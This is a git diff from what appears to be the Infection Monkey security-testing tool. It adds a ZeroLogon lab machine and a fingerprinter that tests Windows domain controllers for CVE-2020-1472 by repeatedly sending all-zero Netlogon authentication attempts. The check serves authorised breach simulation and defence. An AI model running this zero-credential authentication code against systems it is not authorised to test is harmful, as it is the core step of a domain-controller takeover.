diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index e788bb36c..92b8652e0 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -1098,6 +1098,26 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + +

Nr. 25 ZeroLogon

+

(10.2.2.25)

(Vulnerable)
OS:Server 2016
Default server’s port:135
+ diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4c01ff4d2..a402842b8 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -85,6 +85,10 @@ data "google_compute_image" "struts2-24" { name = "struts2-24" project = local.monkeyzoo_project } +data "google_compute_image" "zerologon-25" { + name = "zerologon-25" + project = local.monkeyzoo_project +} data "google_compute_image" "island-linux-250" { name = "island-linux-250" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index bb7c4d72d..6c3a49b2e 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -432,6 +432,21 @@ resource "google_compute_instance_from_template" "struts2-24" { } } +resource "google_compute_instance_from_template" "zerologon-25" { + name = "${local.resource_prefix}zerologon-25" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.zerologon-25.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.2.25" + } +} + resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py new file mode 100644 index 000000000..a4912d4fb --- /dev/null +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -0,0 +1,112 @@ +""" +Implementation from https://github.com/SecuraBV/CVE-2020-1472 +""" + +import logging +import subprocess + +import nmb.NetBIOS +from impacket.dcerpc.v5 import epm, nrpc, transport + +import infection_monkey.config +from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class WindowsServerFinger(HostFinger): + # Class related consts + MAX_ATTEMPTS = 2000 + _SCANNED_SERVICE = "NTLM (NT LAN Manager)" + + def get_host_fingerprint(self, host): + """ + Checks if the Windows Server is vulnerable to Zerologon. + """ + + DC_IP = host.ip_addr + DC_NAME = self.get_dc_name(DC_IP) + + if DC_NAME: # if it is a Windows DC + # Keep authenticating until successful. + # Expected average number of attempts needed: 256. + # Approximate time taken by 2000 attempts: 40 seconds. + DC_HANDLE = '\\\\' + DC_NAME + + LOG.info('Performing Zerologon authentication attempts...') + rpc_con = None + for _ in range(0, self.MAX_ATTEMPTS): + try: + rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + if rpc_con is not None: + break + except Exception as ex: + LOG.info(ex) + break + + self.init_service(host.services, self._SCANNED_SERVICE, '') + + if rpc_con: + LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True + return True + else: + LOG.info('Failure: Target is either patched or an unexpected error was encountered.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False + return False + + else: + LOG.info('Error encountered; most likely not a Windows Domain Controller.') + return False + + def get_dc_name(self, DC_IP): + """ + Gets NetBIOS name of the Domain Controller (DC). + """ + + try: + nb = nmb.NetBIOS.NetBIOS() + name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None + return name[0] if name else None + except BaseException as ex: + LOG.info(f'Exception: {ex}') + + def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME): + # Connect to the DC's Netlogon service. + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + + # Use an all-zero challenge and credential. + plaintext = b'\x00' * 8 + ciphertext = b'\x00' * 8 + + # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. + flags = 0x212fffff + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, DC_HANDLE + '\x00', DC_NAME + + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + DC_NAME + '\x00', ciphertext, flags + ) + + # It worked! + assert server_auth['ErrorCode'] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + raise Exception(f'Unexpected error code: {ex.get_error_code()}.') + + except BaseException as ex: + raise Exception(f'Unexpected error: {ex}.') diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index c9633b555..0a1dbd282 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -12,5 +12,6 @@ pycryptodome==3.9.8 pyftpdlib==1.5.6 pymssql<3.0 pypykatz==0.3.12 +pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 6fe5e8fea..405983dc5 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -56,7 +56,6 @@ FINGER_CLASSES = { "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", "attack_techniques": ["T1210"] }, - { "type": "string", "enum": [ @@ -65,6 +64,15 @@ FINGER_CLASSES = { "title": "ElasticFinger", "info": "Checks if ElasticSearch is running and attempts to find it's version.", "attack_techniques": ["T1210"] + }, + { + "type": "string", + "enum": [ + "WindowsServerFinger" + ], + "title": "WindowsServerFinger", + "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", + "attack_techniques": ["T1210"] } ] } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index bdbae2461..fae309ad5 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -222,7 +222,8 @@ INTERNAL = { "HTTPFinger", "MySQLFinger", "MSSQLFinger", - "ElasticFinger" + "ElasticFinger", + "WindowsServerFinger" ] } }